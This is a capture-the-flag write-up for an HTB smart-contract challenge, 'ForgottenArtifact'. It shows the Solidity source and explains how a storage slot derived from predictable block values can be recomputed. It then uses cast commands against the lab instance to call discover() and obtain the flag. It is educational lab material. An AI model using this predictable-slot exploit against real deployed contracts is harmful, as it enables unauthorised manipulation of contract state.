ForgottenArtifact
4 minutes to read
We are given a Smart Contract called ForgottenArtifact.sol
:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract ForgottenArtifact {
uint256 public lastSighting;
struct Artifact {
uint32 origin;
address discoverer;
}
constructor(uint32 _origin, address _discoverer) {
Artifact storage starrySpurr;
bytes32 seed = keccak256(abi.encodePacked(block.number, block.timestamp, msg.sender));
assembly { starrySpurr.slot := seed }
starrySpurr.origin = _origin;
starrySpurr.discoverer = _discoverer;
lastSighting = _origin;
}
function discover(bytes32 _artifactLocation) public {
Artifact storage starrySpurr;
assembly { starrySpurr.slot := _artifactLocation }
require(starrySpurr.origin != 0, "ForgottenArtifact: unknown artifact location.");
starrySpurr.discoverer = msg.sender;
lastSighting = block.timestamp;
}
}
And another Smart Contract called Setup.sol
:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import { ForgottenArtifact } from "./ForgottenArtifact.sol";
contract Setup {
uint256 public constant ARTIFACT_ORIGIN = 0xdead;
ForgottenArtifact public immutable TARGET;
event DeployedTarget(address at);
constructor() payable {
TARGET = new ForgottenArtifact(uint32(ARTIFACT_ORIGIN), address(0));
emit DeployedTarget(address(TARGET));
}
function isSolved() public view returns (bool) {
return TARGET.lastSighting() > ARTIFACT_ORIGIN;
}
}
There is also a remote instance where we will get connection parameters to the Blockchain:
$ nc 83.136.249.47 58595
1 - Get connection informations
2 - Restart Instance
3 - Get flag
Select action (enter number): 1
[*] No running node found. Launching new node...
Player Private Key : 90838fc8ee61acc72303201399e3052bce29a759e1e3c9cb86ca957d2da835ec
Player Address : 0xBB37F88648316f56AE6a9B7B7420A840cE2EA308
Target contract : 0xee8E723db77F93b254b6E95DB691A8b4ca6A569F
Setup contract : 0x12521b9ed461bEcc915ba14Fe2fcbD2FD30F0860
Setup environment
First of all, let’s save the connection parameters as shell variables:
$ PRIVATE_KEY='0x90838fc8ee61acc72303201399e3052bce29a759e1e3c9cb86ca957d2da835ec'
$ ADDRESS='0xBB37F88648316f56AE6a9B7B7420A840cE2EA308'
$ ADDRESS_TARGET='0xee8E723db77F93b254b6E95DB691A8b4ca6A569F'
$ ADDRESS_SETUP='0x12521b9ed461bEcc915ba14Fe2fcbD2FD30F0860'
$ export ETH_RPC_URL='http://83.136.249.47:40128'
Source code analysis
Let’s start with the isSolved
function to see what we need to do to solve the challenge:
function isSolved() public view returns (bool) {
return TARGET.lastSighting() > ARTIFACT_ORIGIN;
}
So, we need that lastSighting
from the target Smart Contract returns a value greater than 0xdead
(this will be probably replaced with the current timestamp).
Let’s have a look at the attributes and the constructor
:
uint256 public lastSighting;
struct Artifact {
uint32 origin;
address discoverer;
}
constructor(uint32 _origin, address _discoverer) {
Artifact storage starrySpurr;
bytes32 seed = keccak256(abi.encodePacked(block.number, block.timestamp, msg.sender));
assembly { starrySpurr.slot := seed }
starrySpurr.origin = _origin;
starrySpurr.discoverer = _discoverer;
lastSighting = _origin;
}
As can be seen, lastSighting
is a uint256
attribute, whose default value is 0
.
The relevant thing in the constructor
is that the base address of the Smart Contract storage is changed to the value of seed
. By default, Smart Contract attributes are stored in the storage, one for slot, and starting from slot 0
. However, this time the storage is rebased, so lastSighting
is not at slot 0
but seed
. More information about how attributes are stored at solidity-by-example.org).
Notice that the constructor
sets origin
and discoverer
to some non-zero values, and lastSighting
to _origin
(probably, the current timestamp).
Now, this discover
function makes sense:
function discover(bytes32 _artifactLocation) public {
Artifact storage starrySpurr;
assembly { starrySpurr.slot := _artifactLocation }
require(starrySpurr.origin != 0, "ForgottenArtifact: unknown artifact location.");
starrySpurr.discoverer = msg.sender;
lastSighting = block.timestamp;
}
We need to provide a bytes32
value so that we get the expected storage slot. If so happens, then origin
will be non-zero and we will pass the require
sentence. With this, lastSighting
gets updated and we will solve the challenge.
Solution
So, we need to find the seed
value:
bytes32 seed = keccak256(abi.encodePacked(block.number, block.timestamp, msg.sender));
This is just the keccak256
hash function of block.number
, block.timestamp
and msg.sender
. These three values are known!
block.number
is simply1
, because the Smart Contract is deployed in the first block- We can find
block.timestamp
from the block information msg.sender
is the address of theSetup
Smart Contract, because it’s the one that created theForgotten Artifact
Smart Contract
Let’s find those values and find the expected seed
:
$ cast block-number
1
$ cast block
baseFeePerGas 0
difficulty 0
extraData 0x
gasLimit 30000000
gasUsed 324589
hash 0x47a62649500be22f0770d49702a46caa69d7eeb7fdce4b753af2a70a3ef92c2e
logsBloom 0x00000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000
0000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000001000000000000000000000000000
00000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000
miner 0x0000000000000000000000000000000000000000
mixHash 0x0000000000000000000000000000000000000000000000000000000000000000
nonce 0x0000000000000000
number 1
parentHash 0xabb428f4bfc2c9897e5abd2a6fd02a6fdc97e45f056c1f33eb302065ed4585d4
parentBeaconRoot 0x0000000000000000000000000000000000000000000000000000000000000000
transactionsRoot 0x8267ab80e506777d979f9034192456cd0b872d8433c00e0ab399dad29a879f04
receiptsRoot 0xbb5005adbd40c7d83e4c7d02bc597c99365d208d3d561bc6dcc1b0521ced9141
sha3Uncles 0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347
size 1905
stateRoot 0xfcc497d9b6b0f1a4d0fddde85cc3f388f84c0669d6eb8055d1f182a57be4db1a
timestamp 1734400164 (Tue, 17 Dec 2024 01:49:24 +0000)
withdrawalsRoot 0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421
totalDifficulty 0
blobGasUsed 0
excessBlobGas 0
requestsHash
transactions: [
0x89d886be9f1ab8b80565d4c34af1b1b5352a6cba59663e39b59696653d6d966c
]
At this point, let’s use chisel
to find the seed
:
$ chisel
Welcome to Chisel! Type `!help` to show available commands.
➜ bytes32 seed = keccak256(abi.encodePacked(uint(1), uint(1734400164), address(0x12521b9ed461bEcc915ba14Fe2fcbD2FD30F0860)));
➜ seed
Type: bytes32
└ Data: 0xf9bcfca7394a85f3a9969135c871010a921b1bb491aca18a128d38b3ffc5ccf7
Now, let’s perform the transaction to discover
, so that we change the value of lastSighting
:
$ cast call $ADDRESS_SETUP 'isSolved() (bool)'
false
$ cast call $ADDRESS_TARGET 'lastSighting() (uint)'
1734400164 [1.734e9]
$ cast send $ADDRESS_TARGET 'discover(bytes32)' 0xf9bcfca7394a85f3a9969135c871010a921b1bb491aca18a128d38b3ffc5ccf7 --private-key $PRIVATE_KEY
blockHash 0x1d993d6ab6708444af172eea80aa421cb70da596d824f0bd3241e2fd9252576e
blockNumber 2
contractAddress
cumulativeGasUsed 31954
effectiveGasPrice 1000000000
from 0xBB37F88648316f56AE6a9B7B7420A840cE2EA308
gasUsed 31954
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1 (success)
transactionHash 0xe39757fef5043e530f6188ba2d26dd26b98f5f94eee99a32a067aa62bdf97a96
transactionIndex 0
type 2
blobGasPrice 1
blobGasUsed
authorizationList
to 0xee8E723db77F93b254b6E95DB691A8b4ca6A569F
$ cast call $ADDRESS_TARGET 'lastSighting() (uint)'
1734401823 [1.734e9]
Flag
With this, we have solved the challenge:
$ cast call $ADDRESS_SETUP 'isSolved() (bool)'
true
$ nc 83.136.249.47 58595
1 - Get connection informations
2 - Restart Instance
3 - Get flag
Select action (enter number): 3
HTB{y0u_c4n7_533_m3}